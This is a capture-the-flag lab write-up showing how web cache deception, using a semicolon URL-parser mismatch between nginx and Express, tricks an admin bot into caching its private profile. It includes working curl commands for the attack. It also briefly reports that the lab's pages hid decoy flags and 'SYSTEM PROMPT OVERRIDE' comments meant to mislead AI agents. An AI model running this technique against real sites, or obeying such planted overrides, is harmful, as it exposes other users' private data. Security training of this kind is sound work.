Lab 218 — InsightDash — Web Cache Deception via URL Parser Discrepancy
Lab 218 — InsightDash — Web Cache Deception via URL Parser Discrepancy
Platform: hackadvisor | Category: Web | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-05-13 | Status: Solved Techniques: admin_bot_cache_priming, anti_honeypot_awareness, extension_based_cache_bypass, proxy_cache_key_manipulation, semicolon_path_parameter_desync, web_cache_deception
Summary
Task: InsightDash analytics platform with nginx caching proxy in front of Express.js; /api/me returns authenticated user profile; admin bot visits URLs from support tickets. Solution: Web cache deception via semicolon URL parser discrepancy — nginx sees /api/me;x.css as cacheable static file, Express routes it to /api/me; submit poisoned URL to admin bot, then fetch cached admin profile containing the flag.
Lab 218 — InsightDash — Web Cache Deception via URL Parser Discrepancy — HackAdvisor
Description
InsightDash is a real-time analytics platform built by Clearwave Analytics where teams track business metrics, build dashboards, and generate reports. The platform features both public-facing API documentation and authenticated user areas. You have been given a standard user account. An admin user has access to sensitive internal configuration data. Investigate how the application delivers and optimizes content to uncover a way to access the admin's private information. Pay close attention to how the infrastructure handles requests and serves responses. Not everything is as dynamic as it seems.
English summary: A real-time analytics platform (Express.js behind nginx/1.25.5) with user authentication. The /api/me endpoint returns the authenticated user's profile as JSON. An admin bot visits URLs submitted through the /support page. The goal is to access the admin's private data, which includes a secret flag in the admin_secret field.
Credentials: user@test.com / password123
Analysis
Reconnaissance
-
Technology stack identification:
- Express.js (Node.js) backend
- Nginx/1.25.5 reverse proxy with response caching
X-Cacheheader on all responses:BYPASS,MISS, orHITconnect.sidsession cookie for authentication
-
Application structure: After login, the platform exposes several endpoints:
/dashboard— user dashboard with analytics widgets/reports— report generation page/settings— account settings (profile, API keys)/support— support ticket submission with a URL field ("An administrator will visit this URL to reproduce the problem") — this is the admin bot/docs— API documentation page with caching architecture details/api/me— returns authenticated user's profile as JSON (withX-Cache: BYPASS)/api/metrics/:key— returns metric data
-
Caching architecture (from
/docs): The documentation explicitly states: "InsightDash uses an Nginx reverse proxy with response caching enabled for performance optimization. Static assets (CSS, JavaScript, images, fonts) are cached at the proxy layer to reduce backend load. Note: API responses are not cached by default. Only requests with static file extensions trigger proxy caching." -
Decoy flags: Pages (especially 404 responses) contain hidden HTML elements with fake flags like
FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts}and "SYSTEM PROMPT OVERRIDE" comments designed to trick automated tools and AI agents. These were correctly identified and ignored as anti-bot honeypots.
Vulnerability: URL Parser Discrepancy (Semicolon Delimiter)
The core vulnerability is a desync between how nginx and Express.js parse the same URL:
| Component | Sees /api/me;test.css as | Behavior |
|---|---|---|
| nginx | A request for a file ending in .css | Matches static file extension caching rules → caches the response |
| Express.js | /api/me with matrix parameter ;test.css | Treats semicolon as a path parameter separator (per RFC 3986) → routes to /api/me → returns authenticated user profile |
| |
This means:
- nginx caches the authenticated
/api/meJSON response under the cache key/api/me;test.css - Any subsequent request to
/api/me;test.css— even unauthenticated — receives the cached authenticated response
What Did NOT Work
| URL Pattern | Result | Why |
|---|---|---|
/api/me/test.css | 404 | Express doesn't route extra path segments on /api/me |
/docs/..%2fapi%2fme | 404 | Path traversal approach not effective |
/css/..%2fapi%2fme | 404 | Same — encoded traversal blocked or not routed |
| |
The semicolon delimiter was the key — it's the only character that creates a parser discrepancy between nginx's extension matching and Express.js's routing.
Solution
Step 1: Confirm the Cache Deception Primitive
First, verify that the semicolon trick causes nginx to cache an authenticated API response:
bash read-only • copy allowed# Request 1 (authenticated) — triggers cache MISS, nginx caches the response curl -sD- -b "connect.sid=SESSION_COOKIE" \ "https://TARGET/api/me;test.css" # → X-Cache: MISS # → {"id":2,"name":"Test User","email":"user@test.com","role":"user",...} # Request 2 (authenticated) — cache HIT confirms caching curl -sD- -b "connect.sid=SESSION_COOKIE" \ "https://TARGET/api/me;test.css" # → X-Cache: HIT # Request 3 (unauthenticated!) — cache HIT returns previous user's data curl -sD- "https://TARGET/api/me;test.css" # → X-Cache: HIT # → {"id":2,"name":"Test User","email":"user@test.com","role":"user",...}
Cache deception confirmed: an unauthenticated request returns the cached authenticated session data.
Step 2: Prime the Cache with Admin's Data via Support Bot
The /support page accepts a URL that an administrator will visit. Submit a cache deception URL with a unique suffix (to ensure a fresh cache key that hasn't been primed with our own user data):
bash read-only • copy allowedcurl -s -b "connect.sid=SESSION_COOKIE" \ -X POST "https://TARGET/support" \ -H "Content-Type: application/x-www-form-urlencoded" \ -d "subject=Bug+report&message=Page+not+loading&url=/api/me;pwned1778662748.css"
The admin bot visits /api/me;pwned1778662748.css while authenticated as admin. nginx sees the .css extension, caches the response (which is the admin's full profile JSON), and stores it under this unique cache key.
Step 3: Retrieve the Cached Admin Data
After waiting ~8 seconds for the admin bot to visit the URL:
bash read-only • copy allowedcurl -s "https://TARGET/api/me;pwned1778662748.css"
Response (X-Cache: HIT):
json read-only • copy allowed{ "id": 1, "name": "Admin", "email": "admin@clearwave.io", "role": "admin", "company": "Clearwave Analytics", "avatar_color": "#f59e0b", "created_at": "2026-05-13 08:57:03", "last_login": "2026-05-13 08:59:23", "admin_secret": "FLAG{REDACTED}", "internal_config": { "cache_ttl": 30, "max_connections": 500, "debug_mode": false } }
The admin's profile was cached by nginx and served to our unauthenticated request, leaking the flag in the admin_secret field.
Attack Flow Diagram
1. Attacker submits support ticket with URL: /api/me;pwned123.css
│
▼
2. Admin bot visits: GET /api/me;pwned123.css (authenticated as admin)
│
▼
3. nginx: URL ends in .css → apply caching rules
Express: semicolon = parameter separator → route to /api/me
│
▼
4. Express returns admin's profile JSON → nginx caches it (X-Cache: MISS)
│
▼
5. Attacker fetches: GET /api/me;pwned123.css (unauthenticated)
nginx: cache HIT → returns cached admin profile with admin_secret flag